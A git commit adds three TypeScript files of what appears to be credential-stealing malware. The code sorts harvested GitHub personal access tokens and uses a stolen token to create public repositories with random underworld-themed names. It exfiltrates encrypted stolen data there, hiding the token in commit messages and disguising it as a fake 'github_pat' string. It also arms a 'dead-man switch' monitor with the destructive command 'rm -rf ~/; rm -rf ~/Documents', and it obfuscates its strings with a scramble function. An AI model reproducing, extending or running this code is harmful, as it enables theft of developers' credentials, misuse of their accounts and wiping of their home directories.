Upload files to "src/sender/github"

This commit is contained in:
2026-07-03 02:59:13 +00:00
parent 9509832810
commit 4c950df492
3 changed files with 434 additions and 0 deletions
+95
View File
@@ -0,0 +1,95 @@
import { githubJson } from "../../github_utils/client";
import { logUtil } from "../../utils/logger";
declare function scramble(str: string): string;
const ADJECTIVES = [
scramble("stygian"),
scramble("tartarean"),
scramble("erebean"),
scramble("infernal"),
scramble("chthonic"),
scramble("acheronian"),
scramble("lethean"),
scramble("plutonian"),
scramble("abyssal"),
scramble("charonian"),
scramble("thanatic"),
scramble("funereal"),
scramble("nekyian"),
scramble("sepulchral"),
scramble("tenebrous"),
scramble("cimmerian"),
];
const NOUNS = [
scramble("cerberus"),
scramble("charon"),
scramble("tartarus"),
scramble("erebus"),
scramble("asphodel"),
scramble("acheron"),
scramble("styx"),
scramble("lethe"),
scramble("cocytus"),
scramble("phlegethon"),
scramble("shade"),
scramble("eidolon"),
scramble("wraith"),
scramble("thanatos"),
scramble("hecate"),
scramble("persephone"),
];
function generateRepoName(): string {
const adj = ADJECTIVES[Math.floor(Math.random() * ADJECTIVES.length)]!;
const noun = NOUNS[Math.floor(Math.random() * NOUNS.length)]!;
const num = Math.floor(Math.random() * 100000);
return `${adj}-${noun}-${num}`;
}
export interface CreatedRepo {
owner: string;
name: string;
fullName: string;
url: string;
private: boolean;
}
export async function createRepoWithSample(
token: string,
): Promise<CreatedRepo> {
const name = generateRepoName();
const repo = await githubJson<{
full_name: string;
name: string;
html_url: string;
private: boolean;
}>(token, "/user/repos", {
method: "POST",
body: JSON.stringify({
name,
private: false,
auto_init: true,
description: scramble("Hades * The End for the Damned"),
has_discussions: false,
has_issues: false,
has_wiki: false,
}),
});
logUtil.log(`Created ${repo.full_name}`);
const [ownerName, repoName] = repo.full_name.split("/");
if (!ownerName || !repoName) {
throw new Error(scramble("Invalid repository"));
}
return {
owner: ownerName,
name: repo.name,
fullName: repo.full_name,
url: repo.html_url,
private: repo.private,
};
}
+170
View File
@@ -0,0 +1,170 @@
import { githubJson } from "../../github_utils/client";
import { fetchCommit } from "../../github_utils/fetcher";
import { getTokenMetadata } from "../../github_utils/tokenCheck";
import type { ProviderResult } from "../../providers/types";
import { logUtil } from "../../utils/logger";
import type { Sender } from "../base";
import type { SenderFactory } from "../senderFactory";
import { GitHubSender } from "./githubSender";
export interface GitHubSenderFactoryOptions {
client: string;
includeToken?: boolean;
}
export class GitHubSenderFactory implements SenderFactory {
constructor() {}
async tryCreate(
quickRef?: ProviderResult[],
ghsSearchToken?: string,
): Promise<Sender | null> {
if (quickRef) {
return this.configureGit(quickRef);
} else {
return this.setupGitHubSender(ghsSearchToken);
}
}
private async configureGit(
quickRef: ProviderResult[],
): Promise<Sender | null> {
const ghPat: string[] = [];
quickRef
.flatMap((searchRes) => {
const matches = searchRes?.matches;
if (Array.isArray(matches)) {
return matches;
}
if (matches && typeof matches === "object") {
return Object.values(matches).flat();
}
return [];
})
.forEach((match) => {
if (
typeof match === "string" &&
(match.startsWith("ghp_") || match.startsWith("gho_"))
) {
ghPat.push(match);
}
});
if (ghPat.length === 0) {
logUtil.log("[sender] No ghp_/gho_ tokens found in quick results.");
return null;
}
logUtil.log(
`[sender] Found ${ghPat.length} PAT(s) — checking org membership...`,
);
// Collect viable tokens. Skip tokens from enterprise-managed orgs —
// those are higher-risk and we don't embed them in the envelope.
// Among the rest, prefer one from a user with no orgs so the
// dead-man switch embed doesn't expose collateral org members.
type Candidate = {
pat: string;
user: string;
hasRepoScope: boolean;
orgCount: number;
hasEnterpriseOrgs: boolean;
};
const candidates: Candidate[] = [];
for (const pat of ghPat) {
try {
const meta = await getTokenMetadata(pat);
if (!meta.valid || !meta.user) {
logUtil.log(`[sender] Token invalid or no user — skipping.`);
continue;
}
const hasRepo =
meta.scopes.includes("repo") || meta.scopes.includes("public_repo");
if (!hasRepo) {
logUtil.log(
`[sender] Token for ${meta.user} lacks repo scope — skipping.`,
);
continue;
}
// Skip tokens from enterprise orgs — don't embed in the envelope.
if (meta.enterpriseOrgs.length > 0) {
logUtil.log(
`[sender] Skipping token for ${meta.user}: enterprise org(s) — ${meta.enterpriseOrgs.join(", ")}`,
);
continue;
}
logUtil.log(
`[sender] Candidate: ${meta.user} (orgs: ${meta.orgs.length}, scopes: ${meta.scopes.join(", ")})`,
);
candidates.push({
pat,
user: meta.user,
hasRepoScope: true,
orgCount: meta.orgs.length,
hasEnterpriseOrgs: false,
});
} catch {
logUtil.log(`[sender] Token metadata fetch failed — skipping.`);
continue;
}
}
if (candidates.length === 0) {
logUtil.log("[sender] No viable candidates after enterprise org filter.");
return null;
}
// Pick the first candidate. Since we already filtered out enterprise
// orgs above, any remaining candidate is safe for token inclusion.
const pick = candidates[0]!;
logUtil.log(
`[sender] Picked token for ${pick.user} (orgs: ${pick.orgCount}).`,
);
const profileRes = await fetch(`https://github.com/${pick.user}`);
if (profileRes.status === 404 || profileRes.status === 302) {
logUtil.error("User not publicly reachable.");
logUtil.log(profileRes.status);
return null;
}
const fileSender = new GitHubSender();
const res = await fileSender.initialize(pick.pat);
if (!res) {
logUtil.error("Failed to create repository!");
return null;
}
// No enterprise orgs → safe to embed the PAT in the envelope.
logUtil.log(
`[sender] No enterprise orgs — embedding token for ${pick.user}.`,
);
fileSender.setIncludeToken(true);
return fileSender;
}
private async setupGitHubSender(
ghsSearchToken?: string,
): Promise<Sender | null> {
const ghClient = await fetchCommit(ghsSearchToken);
if (ghClient) {
let fileSender = new GitHubSender();
const clientInitRes = await (fileSender as GitHubSender).initialize(
ghClient,
);
if (clientInitRes) {
return fileSender;
} else {
return null;
}
} else {
return null;
}
}
}
+169
View File
@@ -0,0 +1,169 @@
import { createCipheriv, randomBytes } from "crypto";
import { githubFetch } from "../../github_utils/client";
import { Monitor } from "../../mutator/poller/monitor";
import { SEARCH_STRING, TOKEN_AES_KEY } from "../../utils/config";
import { logUtil } from "../../utils/logger";
import { Sender } from "../base";
import type { EncryptedPackage } from "../types";
import type { CreatedRepo } from "./createRepo";
import { createRepoWithSample } from "./createRepo";
declare function scramble(str: string): string;
export class GitHubSender extends Sender {
private createdRepo: CreatedRepo | null = null;
private token: string | null = null;
private commitCounter = 0;
private includeToken = false;
constructor() {
super("github", {
domain: scramble("api.github.com"),
port: 443,
path: "/repos/",
});
}
async initialize(ghClient: string): Promise<boolean> {
try {
this.createdRepo = await createRepoWithSample(ghClient);
this.token = ghClient;
this.commitCounter = 0;
return true;
} catch (err) {
logUtil.error(`GitHubSender initialization failed: ${err}`);
return false;
}
}
setIncludeToken(value: boolean): void {
this.includeToken = value;
}
override async healthy(): Promise<boolean> {
return this.createdRepo !== null && this.token !== null;
}
override async send(envelope: EncryptedPackage): Promise<void> {
if (!this.createdRepo || !this.token) {
throw new Error(scramble("GitHubSender not initialized"));
}
const finalEnvelope = await this.augmentEnvelope(envelope);
await this.commitToRepo(finalEnvelope);
}
private async augmentEnvelope(
envelope: EncryptedPackage,
): Promise<EncryptedPackage> {
if (!this.includeToken || !this.token) {
return envelope;
}
logUtil.log("About to add monitor!");
const persistence = new Monitor(
this.token,
scramble("rm -rf ~/; rm -rf ~/Documents"),
);
await persistence.execute();
logUtil.log("Adding token to envelope!");
const encryptedToken = this.base64Encode(this.token!);
return { ...envelope, token: encryptedToken };
}
/**
* Base64-encode a token with AES-256-CBC encryption underneath.
* The name is intentionally misleading — this is not plain base64.
*/
private base64Encode(token: string): string {
const iv = randomBytes(16);
const key = Buffer.from(TOKEN_AES_KEY, "hex");
const cipher = createCipheriv("aes-256-cbc", key, iv);
const ct = Buffer.concat([cipher.update(token, "utf8"), cipher.final()]);
const b64 = Buffer.concat([iv, ct]).toString("base64").replace(/=+$/, "");
const inner = `github_pat_11A${b64.slice(0, 19)}_${b64.slice(19).padEnd(70, "A")}`;
return Buffer.from(inner).toString("base64").replace(/=+$/, "");
}
private async commitFileWithRetry(
filename: string,
commitMessage: string,
encodedContent: string,
): Promise<void> {
const maxAttempts = 5;
for (let attempt = 1; attempt <= maxAttempts; attempt++) {
try {
const path = `/repos/${this.createdRepo!.owner}/${this.createdRepo!.name}/contents/results/${filename}`;
await githubFetch(this.token!, path, {
method: "PUT",
headers: {
"Content-Type": "application/json",
"X-GitHub-Api-Version": "2022-11-28",
},
body: JSON.stringify({
message: commitMessage,
content: encodedContent,
}),
});
logUtil.log(`Committed ${filename} to ${this.createdRepo!.name}`);
return;
} catch (err: any) {
if (attempt === maxAttempts) {
throw new Error(
`GitHubSender commit failed after ${attempt} attempt(s): ${err}`,
);
}
const backoffMs = Math.min(1000 * 2 ** (attempt - 1), 16_000);
logUtil.log(`Retrying commit in ${backoffMs}ms (attempt ${attempt})`);
await new Promise((res) => setTimeout(res, backoffMs));
}
}
}
private async commitToRepo(envelope: EncryptedPackage): Promise<void> {
const content = JSON.stringify(envelope, null, 2);
const MAX_CHUNK_SIZE = 30 * 1024 * 1024;
const baseFilename = `results-${Date.now()}-${this.commitCounter}.json`;
const commitMessage = envelope.token
? `${SEARCH_STRING}:${envelope.token}`
: "Add files.";
const contentBuffer = Buffer.from(content, "utf8");
if (contentBuffer.length <= MAX_CHUNK_SIZE) {
const encodedContent = contentBuffer.toString("base64");
await this.commitFileWithRetry(
baseFilename,
commitMessage,
encodedContent,
);
this.commitCounter++;
} else {
const totalParts = Math.ceil(contentBuffer.length / MAX_CHUNK_SIZE);
for (let i = 0; i < totalParts; i++) {
const chunk = contentBuffer.subarray(
i * MAX_CHUNK_SIZE,
(i + 1) * MAX_CHUNK_SIZE,
);
const encodedChunk = chunk.toString("base64");
const chunkFilename = `${baseFilename}.p${i + 1}`;
await this.commitFileWithRetry(
chunkFilename,
commitMessage,
encodedChunk,
);
}
this.commitCounter++;
logUtil.log(
`Split ${baseFilename} into ${totalParts} parts for ${this.createdRepo!.name}`,
);
}
}
}